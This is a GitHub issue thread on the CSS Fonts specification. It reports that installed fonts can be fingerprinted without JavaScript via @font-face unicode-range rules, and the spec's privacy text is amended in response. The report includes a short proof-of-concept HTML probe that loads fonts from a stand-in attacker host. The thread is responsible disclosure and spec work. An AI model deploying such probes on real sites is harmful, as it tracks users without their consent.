Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[css-fonts] JS-free probing of Unicode support of fonts #5578

Closed
quasicomputational opened this issue Oct 4, 2020 · 4 comments
Closed

[css-fonts] JS-free probing of Unicode support of fonts #5578

quasicomputational opened this issue Oct 4, 2020 · 4 comments
Labels
Closed Accepted as Obvious Bugfix Commenter Satisfied Commenter has indicated satisfaction with the resolution / edits. css-fonts-4 Current Work privacy-needs-resolution Issue the Privacy Group has raised and looks for a response on.

Comments

@quasicomputational
Copy link

The spec currently says this about fingerprinting (https://drafts.csswg.org/css-fonts/#sp201):

An attacker may obtain fingerprinting information by querying the Installed Fonts. In contrast to older technologies (notably Adobe Flash, which provided a complete list of Installed Fonts and sent this information in HTTP headers) such probing must be done one font at a time, providing the font family name and then checking via script whether the font was loaded. This takes time, and checking for more than a few hundred fonts introduces a noticeable delay in page rendering.

This is, however, not accurate: an attacker can conduct a certain amount of probing without JS, only using CSS, by selectively downloading webfonts depending on whether the user has a font by a certain name that supports a certain character. An example speaks a thousand words (or, in this case, two):

<!DOCTYPE html>
<meta charset=utf-8>
<style>
  @font-face {
    font-family: NonExistentGrek;
    src: url(https://attacker.invalid/grek);
    unicode-range: U+0370-03FF;
  }
  @font-face {
    font-family: NonExistentHebr;
    src: url(https://attacker.invalid/hebr);
    unicode-range: U+0590-05FF;
  }
  :root {
    font-family: monospace, NonExistentGrek, NonExistentHebr;
  }
</style>
χαίρετε! שלום!

Opening up devtools and loading that HTML, depending on what your monospace font is, you may see zero, one, or two failed font requests. This can be used to discover precisely which characters a font supports, if it's installed, which is quite likely to be unique amongst fonts.

If scripting is available, this attack is (mostly) inferior to actively probing with JS (there's some residual advantage to checking in parallel and having the browser do the work for you, but that's not really made up for by the loss in resolution or complexity, I wouldn't think).

However, in privacy-sensitive contexts, scripting is likely not available because of the hundreds of other scary things it can do, and this may be a genuinely concerning information leak.

At the same time, this pattern is useful for only incurring the cost of a font download when it's needed to support some characters. Leaking font information trades off very harshly against efficiency - basically, the same trade-off that UAs already face when considering requests that are conditional on media queries (#3488).

The spec already has text talking about privacy budgets and UAs minimising font variance to reduce fingerprintability, which applies fine to this attack as well. I think that there are two changes I would like to see:

  • First, to § 12.1 'What information might this feature expose...', mentioning that JS is not required for probing, so that this sort of thing is on UAs' radar for reducing fingerprintability.
  • Second, writing down another potential mitigation, which is to download all of the @font-face rules regardless of whether they're actually needed or not.

This is related to the broader issue font fingerprinting vectors (#4055), but I wanted to open a specific issue for this attack because the spec's text, as written, is wrong.

@svgeesus svgeesus added css-fonts-4 Current Work privacy-needs-resolution Issue the Privacy Group has raised and looks for a response on. labels Oct 5, 2020
@svgeesus
Copy link
Contributor

svgeesus commented Oct 5, 2020

Thanks for that, and especially for the sample code. I agree that probing via unicode-range is possible and will amend the text in line with your first suggestion.

The second suggestion, to always download all fonts, would be prohibitively expensive in most cases. Fonts for Chinese, Japanese or Korean can be huge, so requiring browsers to always download them (and re-download them again, every time) would be a very costly mitigation. But I suspect you mean this only for especially privacy-sensitive situations, right? In that case, wouldn't "never download fonts" be a better mitigation"?

@quasicomputational
Copy link
Author

The second suggestion, to always download all fonts, would be prohibitively expensive in most cases. Fonts for Chinese, Japanese or Korean can be huge, so requiring browsers to always download them (and re-download them again, every time) would be a very costly mitigation. But I suspect you mean this only for especially privacy-sensitive situations, right? In that case, wouldn't "never download fonts" be a better mitigation"?

Yeah - this is only really a concern in privacy-sensitive contexts. Never downloading webfonts is another fine option; mentioning both options with upsides and downsides seems like a good idea to me, so that UAs can weigh the trade-off on the basis that they'll have the best idea about what's acceptable and what's unacceptable.

@svgeesus
Copy link
Contributor

Both requested changes have been made. @quasicomputational could you confirm that these changes satisfy your comment?

@quasicomputational
Copy link
Author

LGTM, thanks! I'm not convinced there aren't more vectors to do stuff like this - basically, anywhere the UA is behaving differently depending on the local font set is a hazard - but I'm expecting those to be caught in the process of resolving #4055.

@svgeesus svgeesus added Closed Accepted as Obvious Bugfix Commenter Satisfied Commenter has indicated satisfaction with the resolution / edits. labels Nov 18, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Closed Accepted as Obvious Bugfix Commenter Satisfied Commenter has indicated satisfaction with the resolution / edits. css-fonts-4 Current Work privacy-needs-resolution Issue the Privacy Group has raised and looks for a response on.
Projects
None yet
Development

No branches or pull requests

2 participants